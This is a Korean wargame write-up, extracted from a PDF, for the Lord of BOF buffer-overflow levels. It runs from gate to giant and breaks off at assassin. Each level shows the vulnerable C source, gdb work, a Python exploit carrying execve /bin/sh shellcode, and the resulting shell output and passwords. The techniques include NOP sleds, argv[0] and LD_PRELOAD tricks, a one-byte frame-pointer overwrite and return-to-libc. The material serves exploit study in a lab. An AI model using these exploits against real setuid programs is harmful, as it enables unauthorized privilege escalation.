Contents 1. 목적 풀이 gate

Size: px
Start display at page:

Download "Contents 1. 목적 풀이 gate"

Transcription

1 Lord of Bof 풀이 1

2 Contents 1. 목적 풀이 gate gremlin cobolt goblin orc wolfman darkelf orge troll vampire skeleton golem darkknight bugbear giant assassin zombie_assassin succubus nightmare xavius death_knight

3 1. 목적 풀었던걸다시푸는행위가기본적인실력을늘리는한가지방법이라고생각합니다. 앞으로의 원활한복습을위해서문서를남겨봅니다. 또한대부분의풀이는파이썬을이용하여풀어보도록 해보겠습니다.. //LOB 란 Lord of the BOF 의약자로기본적인오버플로우문제를모아둔워게임입니다. 아주취약 한프로그램을풀면풀수록보완된문제를보게되는데매번공격벡터를바꿔가며공격해야합 니다. 접속할때 bash2 를입력을해줘야합니다. 왜냐하면고전커널이기때문에 bash 의버전이낮고 또한 bash1 은 \xff 를잘못처리하기때문입니다. 쉘코드의경우에 \xff 가들어가는경우가많은데 이때처리를못하기때문입니다. gate]$ cat /etc/*release* Red Hat Linux release 6.2 (Zoot) LOB 의환경입니다. 레드햇 6.2 버전은아무방어기법이없어오버플로우를공부하기아주좋습 니다. *** 문제를풀기전쉘코드를직접만들고 ftz 를풀어보는것을추천해드립니다.*** 3

4 2. 풀이 gate / gate /* The Lord of the BOF : The Fellowship of the BOF - gremlin - simple BOF */ int main(int argc, char *argv[]) char buffer[256]; if(argc < 2) printf("argv error\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 소스를보면아주간단한오버플로우문제인걸알수있습니다. 디버깅을통해더자세히알아보기전에 w권한이없어디버깅이불가능합니다. 그래서 cp로복사를합니다. 복사할때글자수는똑같이해야하는게중요합니다. [gate@localhost gate]$ cp gremlin gremli1 이런식으로하는이유는최대한메모리구조를같게하기위해서입니다. [gate@localhost gate]$ gdb -q gremli1 (gdb) disas main <<<<<<<<<<<<<main 함수를디스어셈블 ( 중략 ) 0x <main+54>: call 0x <strcpy> <<<<overflow 에취약한함수 0x804846b <main+59>: add $0x8,%esp ( 하략 ) 4

5 strcpy 는제한없이입력값을받아들이기때문에오버플로우에취약한함수입니다. 이부분바로 앞에 main+59 에브레이크포인트를걸어서버퍼의시작주소와 ret 까지의거리를구하겠습니다. (gdb) b *main+59 Breakpoint 1 at 0x804846b (gdb) r `python -c 'print "\x90"*200'` Starting program: /home/gate/gremli1 `python -c 'print "\x90"*200'` Breakpoint 1, 0x804846b in main () (gdb) x/32x $esp 0xbffff940: 0xbffff948 0xbffffba3 0x x xbffff950: 0x x x x ( 중략 ) (gdb) p $ebp+4-0xbffff948 $ebp+4 = ret ; 0xbffff948 = &buffer $1 = 260 일단 ebp까지의거리는 256인것을알수있습니다. 고전커널이라그런지더미값이없습니다. 바로쉘코드를올려서공격을해보겠습니다. #boom.py #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target = "/home/gate/gremlin" ret=0xbffff94c limit=260 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload="\x90"*200+shellcode+"\x90"*(limit-200-len(shellcode))+p(ret) os.execv(target,[target,payload]) 5

6 os 모듈은 os에서할수있는일을할수있게도와주는모듈이고 struct 모듈은비트연산을해주는모듈입니다. 일단람다함수 ( 축약함수 ) 를이용해서 p에들어가는데이터를문자열로바꿔주는코드를짭니다. 그후공격할타겟, 변경할 ret의주소 (buffer의주소), 그리고 buffer에서 ret까지의거리를변수에저장해서공격하는코드입니다. [gate@localhost gate]$ python boom.py 1?h//shh/bin???L bash$ id uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate) bash$ my-pass euid = 501 hello bof world bash$ 버퍼가충분히커서간단하게풀었습니다. 지금은이렇게간단히풀지만앞으로많이어려워질 겁니다. 파이팅넣고달려보겠습니다. 6

7 gremlin / hello bof world /* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) char buffer[16]; if(argc < 2) printf("argv error\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 저번과같지만작은버퍼값입니다. 그렇다면환경변수에쉘코드를넣은후그주소로흐름을조작하면권한을얻을수있습니다. 환경변수를추가한다음환경변수의주소를구해보겠습니다.. [gremlin@localhost gremlin]$ export moomoo=`python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` [gremlin@localhost gremlin]$ cd /tmp [gremlin@localhost /tmp]$ cat > moomoo.c int main() printf("moomoo : 0x%x\n",getenv("moomoo")); [gremlin@localhost /tmp]$ gcc -o moomoo moomoo.c [gremlin@localhost /tmp]$ chmod 777 moomoo [gremlin@localhost gremlin]$ /tmp/moomoo moomoo : 0xbffffdbd 7

8 getenv() 함수는입력된문자열의환경변수의주소를리턴합니다. 그리고 chmod 777 moomoo 를 한이유는앞으로다른계정으로도 moomoo 환경변수를사용하기때문입니다. 구해야할정보는 다얻었으니공격해보겠습니다.. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target = "/home/gremlin/cobolt" ret = 0xbffffdbd+0x20 limit = 20 payload="\x90"*limit+p(ret) os.execv(target,[target,payload]) [gremlin@localhost gremlin]$ python boom.py ÿ bash$ id uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin) bash$ my-pass euid = 502 hacking exposed 환경변수의주소값은오차가있기때문에 \x90 을넉넉히넣었고조금만주소값을더해주면환 경변수에접근가능합니다. 8

9 cobolt / hacking exposed /* The Lord of the BOF : The Fellowship of the BOF - goblin - small buffer + stdin */ int main() char buffer[16]; gets(buffer); printf("%s\n", buffer); 내부입력값으로문제를풀라는의도입니다. 바로해보겠습니다. [cobolt@localhost cobolt]$ export moomoo=`python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` [cobolt@localhost cobolt]$ /tmp/moomoo moomoo : 0xbffffdce 파이썬코드를짜보겠습니다 9

10 [#!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/cobolt/goblin" ret=0xbffffdce+0x20 limit=20 payload="\x90"*limit+p(ret) print payload 내부입력을위해서실행이아닌출력만되게짜봤고바로공격들어가겠습니다. [cobolt@localhost cobolt]$ (python boom.py;cat)./goblin? id uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt) my-pass euid = 503 hackers proof 10

11 goblin / hackers proof /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 에그헌터주석을잘보면환경변수를모조리 0 으로만들고 argv[1] 의 48 번째글자가 \bf 여야만 강제종료를피할수있습니다.. 이를우회해보겠습니다. 11

12 함수에필로그직전에브포를건후 $esp 상황 (gdb) r `python -c 'print "\x90"*44+"\xff\xff\xff\xbf"'` Starting program: /home/goblin/or1 `python -c 'print "\x90"*44+"\xff\xff\xff\xbf"'` Breakpoint 1, 0x80485c2 in main () (gdb) x/124x $esp ( 중략 ) //argv1 주소 0xbffffc2c: 0x x x x xbffffc3c: 0x x x x xbffffc4c: 0x x x xff xbffffc5c: 0x00bfffff 0x x x 버퍼의주소에공격을하면 nop slide 가안되고무조건딱맞춰야만되길래여기서는 argv[1] 의 주소를이용해서 nop 슬라이드게되도록할것이고계속주소가오차가나서부르트포스를이용 한공격을하겠습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) up= lambda x : unpack("<l",x)[0] target="/home/goblin/orc" ret=0xbffffc30 limit=44 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" for i in range(0xff,0,-1): payload=shellcode+"\x90"*(limit-len(shellcode))+chr(i)+"\xfc\xff\xbf" pid = os.fork() if pid==0: 12

13 print hex(up(chr(i)+"\xfc\xff\xbf")) os.execv(target,[target,payload]) else: os.waitpid(pid,0) 결과 0xBFFFFC1EL يز h//shh/bin 1 0xBFFFFC1DL - يز h//shh/bin 1 bash$ id uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin) bash$ my-pass euid = 504 cantata 13

14 orc / cantata /* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); 14

15 buffer hunter 주석을부분을잘보면버퍼부분을아예초기화시킵니다. 저번풀던데로풀면 됩니다만이번에는스택을무지막지테러하듯넣어서풀어보겠습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/orc/wolfman" ret=0xbffeffff limit=44 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload="\x90"*44+p(ret)+"\x90"*99999+shellcode os.execv(target,[target,payload]) nop 를 ret 뒤쪽에 9999 개를넣은뒤적당한주소를넣어주시면쉘코드까지미끄러지듯이동합니다. 스택의제한이없다면이런식으로문제를풀수있습니다. [orc@localhost orc]$ python boom.py yyþ 1?h//shh/bin??? bash$ id uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc) bash$ my-pass euid = 505 love eyuna 15

16 wolfman / love eyuna /* The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); 16

17 check the length of argument 주석을보면 48 글자초과라면종료를하는부분이생겼습니다. 지 금까지의방어기법을정리해보면환경변수 X, buffer 초기화, 버퍼 48 글자제한까지있습니다. 그래 서 argv[2] 를쓰면됩니다. 제한이있다면딴걸쓰면됩니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/wolfman/darkelf" ret=0xbffeffff limit=44 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload1="\x90"*limit+p(ret) payload2="\x90"*99999+shellcode os.execv(target,[target,payload1,payload2]) 결과 [wolfman@localhost wolfman]$ python boom.py ÿÿþ bash$ id uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman) bash$ my-pass euid = 506 kernel crashed bash$ 17

18 darkelf / kernel crashed /* The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); // here is changed! if(strlen(argv[0])!= 77) printf("argv[0] error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); 18

19 strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); here is changed 주석을보면 argv[0] 가 77 글자가아니면종료가되는부분이추가되었습니다. argv[0] 을심볼릭링크나 ///////////////// //////darkelf 이런식으로 argv[0] 을늘리면됩니다. 이런 문제는 ///// 를채워넣는게더편하니이방법으로풀겠습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target1="home/darkelf/orge" target0="/"*(77-len(target1)) target=target0+target1 ret=0xbffeffff limit=44 #target 필터링우회 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload1="\x90"*limit+p(ret) payload2="\x90"*99999+shellcode os.execv(target,[target,payload1,payload2]) 19

20 결과 darkelf]$ python boom.py ÿÿþ bash$ id uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf) bash$ my-pass euid = 507 timewalker 20

21 orge / timewalker /* The Lord of the BOF : The Fellowship of the BOF - troll - check argc + argv hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; // here is changed if(argc!= 2) printf("argc must be two!\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 21

22 // buffer hunter memset(buffer, 0, 40); // one more! memset(argv[1], 0, strlen(argv[1])); one more 주석을보면 argv[1] 도 0 으로초기화시켜버립니다. buffer 도 0 으로초기화되니쓸 수있는공간은없어보입니다. argv 도애초에 2 개로한정했습니다. 그렇다면어떻게할까요? 방법은 argv[0] 에있습니다. 심볼릭링크로 argv[0] 을변환하여풀어내는것입니다. argv[0] 을쉘코드로바꾼다면흐름조작을통해쉘을실행시킬수있습니다. 하지만제가쓸려고하는쉘코드는 \2f가들어있습니다. 이는 / 인데심볼릭링크를하려고하면도중에 / 가삽입돼만들어지지않습니다. 그래서 / 을포함에서한번에만들기위해 mkdir p명령어를이용해서만들어보겠습니다. -p 명령어는자식디렉터리까지한번에만들수있는명령어입니다. 즉, / 가들어가도상관이없 다는것입니다. [orge@localhost orge]$ mkdir -p `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` \x2f 3개 [orge@localhost orge]$ ls trol1 troll troll.c????????????????????????????????????????????????????????????????????????????????????????????? h 1??????? 22

23 디렉터리를포함해서실행하려면 /../../../ 을포함해야합니다. orge]$ gdb -q./`python -c 'print "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"/../../../trol1"'` (gdb) b *main+314 <<<<<<< 함수에필로그바로전에브레이크 (gdb) x/124x $esp ( 중략 ) 0xbffffa60: 0x x x x xbffffa70: 0x x x x xbffffa80: 0x x x x xbffffa90: 0x x x x xbffffaa0: 0x x x x xbffffab0: 0x x x x **argv 부분에 \x90\x90\x90\x90 부분을발견했습니다. 이부분을이용해서공격해보겠습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" target="/home/orge/"+"\x90"*200+shellcode+"/../../../troll" ret=0xbffffa60 limit=44 payload="\x90"*44 + p(ret) os.execv(target,[target,payload]) 23

24 orge]$ python boom.py ` bash$ id uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge) bash$ my-pass euid = 508 aspirin bash$ 24

25 troll / aspirin /* */ The Lord of the BOF : The Fellowship of the BOF - vampire - check 0xbfff #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; if(argc < 2) printf("argv error\n"); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // here is changed! if(argv[1][46] == '\xff') printf("but it's not forever\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 25

26 here is changed! 부분을보면앞으로 ret 를덮을때는 \x??\x??\xff\bf 면안됩니다. 약간소스 를더설명해보면 argv 개수 2 개제한, \xff\bf (X) 으로축소되었습니다. 버퍼제한이없으니 \x90 를 넣어저번처럼스택을밀어내서공격하면되겠습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/troll/vampire" ret=0xbffeffff limit=44 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload="\x90"*44+p(ret)+"\x90"*99999+shellcode os.execv(target,[target,payload]) 결과 [troll@localhost troll]$ python boom.py يز h//shh/binÿÿþ 1 bash$ id uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll) bash$ my-pass euid = 509 music world bash$ 26

27 vampire / music world /* */ The Lord of the BOF : The Fellowship of the BOF - skeleton - argv hunter #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i, saved_argc; if(argc < 2) printf("argv error\n"); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); // check the length of argument if(strlen(argv[1]) > 48) printf("argument is too long!\n"); 27

28 // argc saver saved_argc = argc; strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); 소슬설명을하자면 argv 2개로제한, 환경변수 (X), argv[1] 48번째글자 \bf, argv[1] 글자 48로제한, buffer 0으로초기화, argv 전체 0으로초기화즉, argv[0] 부터 argv[n] 까지 0으로초기화입니다. 이번문제가요구하는것은스택의최상단에 argv[0] 의문자가있다는것을아느냐모르느냐를요구하는것입니다. \xbfffffc를 NULL로정하고그앞에 argv[0] 의문자열이있습니다. 이걸알았으면저번에푼 troll과동일한방법을이용해서풀면됩니다. 다른점은 ret를 0xbffffffc 이전부분에하는것이다릅니다. [vampire@localhost vampire]$ mkdir -p `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` [vampire@localhost vampire]$ gdb -q `python -c 'print "./"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x8 9\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"/../../../skeleto1"'` ( mkdir p 로쉘코드디렉터리만든후 gdb로분석 ) (gdb) x/2s 0xbfffff5c 0xbfffff5c: "/home/vampire/./", '\220' <repeats 100 times>, h//shh/bin\211 1 " " /../../../skeleto1 \ يز 211 \ <-argv[0] 0xbffffffc: "" <-NULL 28

29 필요한정보는다모았습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) shellcoe="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\ x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" target="/home/vampire/"+"\x90"*200+shellcoe+"/../../../skeleton" ret=0xbfffff5c+30 limit=44 payload="\x90"*44+p(ret) os.execv(target,[target,payload]) 결과 [vampire@localhost vampire]$ python boom.py zÿÿ bash$ id uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire) bash$ my-pass euid = 510 shellcoder bash$ 29

30 skeleton / shellcoder /* */ The Lord of the BOF : The Fellowship of the BOF - golem - stack destroyer #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); if(argv[1][47]!= '\xbf') printf("stack is still your friend.\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer! memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); 30

31 소스설명을하면 buffer 부터 ret전까지 0으로초기화 ret다음부터 0xbfffffff까지 0으로초기화합니다. 쓸수있는공간은 ret부분과 buffer이전주소를사용할수있습니다. 스택의아래공간을보면힙, bss, data, code이렇게있는데힙과스택사이에공유라이브러리영역이있습니다. 공유라이브러리영역에쉘코드를올리면되는데어떻게하면될까요? 이는 LD_PRELOAD를이용하면됩니다. LD_PRELOAD란프로그램이공유라이브러리를로딩할때 LD_PRELOAD가설정돼있다면설정된라이브러리를먼저실행하는환경변수입니다. 즉, 자동으로후킹을해준다는것입니다. LD_PRELOAD에실행할경로를넣을건데 mkdir p로쉘코드디렉터리를만들고라이브러리를만들겠습니다. \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x 31\xd2\xb0\x0b\xcd\x80 사용할쉘코드입니다. mkdir p 로만들때마지막 \x2f뒷부분을제외하고만들어야합니다. 왜냐하면완료된라이브러리이름이마지막 \x2f뒷부분이기때문입니다. [skeleton@localhost skeleton]$ cp golem gole1 [skeleton@localhost skeleton]$ mkdir -p `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68"'`[skeleton@localhost [skeleton@localhost skeleton]$ cat > boom.c void boom() [skeleton@localhost skeleton]$ gcc boom.c -fpic -shared -o `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` [skeleton@localhost skeleton]$ export LD_PRELOAD=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe 3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` 코어덤프로바로확인해보면서풀어보겠습니다. [skeleton@localhost skeleton]$./gole1 `python -c 'print "\x90"*44+"\xbf\xbf\xbf\xbf"'` Segmentation fault (core dumped) [skeleton@localhost skeleton]$ gdb -q gole1 core 31

32 (gdb) x/160x $esp xbffff590: 0x x x x xbffff5a0: 0x x x x xbffff5b0: 0x x x x xbffff5c0: 0x x x x xbffff5d0: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 0xbffff5e0: 0x31e xcd0bb0d2 0x x 주소를찾았습니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/skeleton/golem" ret=0xbffff590 limit=44 payload="\x90"*44+p(ret) os.execv(target,[target,payload]) 결과 [skeleton@localhost skeleton]$ python boom.py bash$ id uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton) bash$ my-pass euid = 511 cup of coffee bash$ 32

33 golem / cup of coffee /* */ The Lord of the BOF : The Fellowship of the BOF - darkknight - FPO #include <stdio.h> #include <stdlib.h> void problem_child(char *src) char buffer[40]; strncpy(buffer, src, 41); printf("%s\n", buffer); main(int argc, char *argv[]) if(argc<2) printf("argv error\n"); problem_child(argv[1]); 41바이트만덮을수있습니다. 버퍼제한을해버렸으니어쩔수없습니다. 하지만 1byte만으로오버플로우가가능합니다. sfp를조작하여흐름을조작하는것입니다. leave는 mov ebp, esp; pop ebp 후 ret는 pop eip 이니 sfp를잘조작하면흐름조작에성공할것입니다. 코어덤프를하면서어떤원리인지보도록해보겠습니다. 33

34 golem]$./darkknigh1 `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\ x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*15+"\xa0"'` 코어덤프 (gdb) x/160x $esp -a0 일때 \xbffffaa8이동 0xbffffaa8: 0x x xbffffab4 0x6850c031( 쉘코드 ) 0xbffffab8: 0x68732f2f 0x69622f68 0x50e3896e 0x31e xbffffac8: 0xcd0bb0d2 0x x x xbffffad8: 0x xbffffaa0 0x e 0xbffffc32 sfp 를조작하면 +8 이동한걸알았습니다. 마지막 1byte 는 \ac 로하면클리어됩니다. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) target="/home/golem/darkknight" limit=41 shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" payload=shellcode+"\x90"*(limit-len(shellcode)-1)+"\x8c" --argv[0] 때문에오차수정- os.execv(target,[target,payload]) 결과 [golem@localhost golem]$ python boom.py يز h//shh/bin 1 % bash$ id uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem) bash$ my-pass euid = 512 new attacker 34

35 darkknight / new attacker /* */ The Lord of the BOF : The Fellowship of the BOF - bugbear - RTL1 #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; int i; if(argc < 2) printf("argv error\n"); if(argv[1][47] == '\xbf') printf("stack betrayed you!!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); argv[1] 의 48글자를 bf면종료하기로정해버렸습니다. 즉, 스택영역은사용불가능이란뜻입니다. lib 공유라이브러리의주소를사용하면되겠습니다. 이공격방법을잘이해하면고급기법을이해하는데큰힘을줍니다. RTL이라고하며 ret을 lib 공유라이브러리주소로오버플로우하는기법입니다. 35

36 그럼 lib 함수주소를구해서 rtl 해보겠습니다. (gdb) p system $1 = <text variable, no debug info> 0x40058ae0 < libc_system> binsh파일소스 int main() long shell; shell=0x40058ae0; while(memcmp((void*)shell,"/bin/sh",8))shell++; printf("bin/sh is at 0x%x\n",shell); [darkknight@localhost darkknight]$./binsh bin/sh is at 0x400fbff9 system 함수주소와 bin/sh 문자열주소를알았습니다. import os from struct import * p = lambda x : pack("<l",x) target="/home/darkknight/bugbear" system=0x40058ae0 binsh=0x400fbff9 limit=44 payload="\x90"*44+p(system)+"junk"+p(binsh) os.system(target+" "+payload) 결과?JUNK bash$ id uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight) bash$ my-pass euid = 513 new divide 36

37 bugbear / new divide /* */ The Lord of the BOF : The Fellowship of the BOF - giant - RTL2 #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(int argc, char *argv[]) char buffer[40]; FILE *fp; char *lib_addr, *execve_offset, *execve_addr; char *ret; if(argc < 2) printf("argv error\n"); // gain address of execve fp = popen("/usr/bin/ldd /home/giant/assassin /bin/grep libc /bin/awk 'print $4'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "(%x)", &lib_addr); fclose(fp); fp = popen("/usr/bin/nm /lib/libc.so.6 /bin/grep execve /bin/awk 'print $1'", "r"); fgets(buffer, 255, fp); sscanf(buffer, "%x", &execve_offset); fclose(fp); 37

38 execve_addr = lib_addr + (int)execve_offset; // end memcpy(&ret, &(argv[1][44]), 4); if(ret!= execve_addr) printf("you must use execve!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); 소스를보면 ret의주소가 execve() 여야만합니다. RTL공격을해야하는데까다로운인자가있습니다. /bin/sh,0,& /bin/sh,0 ) 인데마지막인자가까다롭습니다. bin/sh의포인터를만들어줘야하는데환경변수나심볼릭링크로파일이름을 /bin/sh의주소로만들어버리면됩니다. 환경변수에 &/bin/sh의주소를넣고브루트포스를하여공격해보겠습니다. #include <stdio.h> int main() long shell; shell=0x ; while(memcmp((void*)shell,"/bin/sh\x00",8))shell++; printf("/bin/sh : 0x%x\n",shell); [bugbear@localhost bugbear]$./binsh /bin/sh : 0x400fbff9 /bin/sh 의주소입니다. 38

39 (gdb) p execve $1 = <text variable, no debug info> 0x400a9d48 < execve> execve 의주소입니다. 이걸로원하는주소를다모았습니다. 환경변수에 \xf9\bf\x0f\x40 을추가하는코드와부르트포 스를하는코드를짜보겠습니다.. #!/usr/bin/env python import os from struct import * p = lambda x : pack("<l",x) up= lambda x : unpack("<l",x)[0] target="/home/bugbear/giant" execve=0x400a9d48 binsh=0x400fbff9 null=0xbffffffc os.putenv('moomoo',p(binsh)) for j in range(0xff,0,-1): for i in range(0xff,0,-1): pid = os.fork() payload="\x90"*44+p(execve)+"junk"+p(binsh)+chr(i)+chr(j)+"\xff\xbf"+p(null) if pid==0: print hex(up(chr(i)+chr(j)+"\xff\xbf")) os.execv(target,[target,payload]) else: os.waitpid(pid,0) os.putenv() 는왼쪽이환경변수고오른쪽이해당하는문자열을추가하는함수입니다. 39

40 ( 중략 0xBFFFFCD2L 0xBFFFFCD1L 0xBFFFFCD0L ( 중략 ) 0xBFFFFBA8L i686: /home/bugbear/.bashrc: Permission denied bash$ id uid=513(bugbear) gid=513(bugbear) euid=514(giant) egid=514(giant) groups=513(bugbear) bash$ my-pass euid = 514 one step closer bash$ 40

41 giant / one step closer /* The Lord of the BOF : The Fellowship of the BOF - assassin - no stack, no RTL */ #include <stdio.h> #include <stdlib.h> main(int argc, char *argv[]) char buffer[40]; if(argc < 2) printf("argv error\n"); if(argv[1][47] == '\xbf') printf("stack retbayed you!\n"); if(argv[1][47] == '\x40') printf("library retbayed you, too!!\n"); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer+sfp hunter memset(buffer, 0, 44); 41

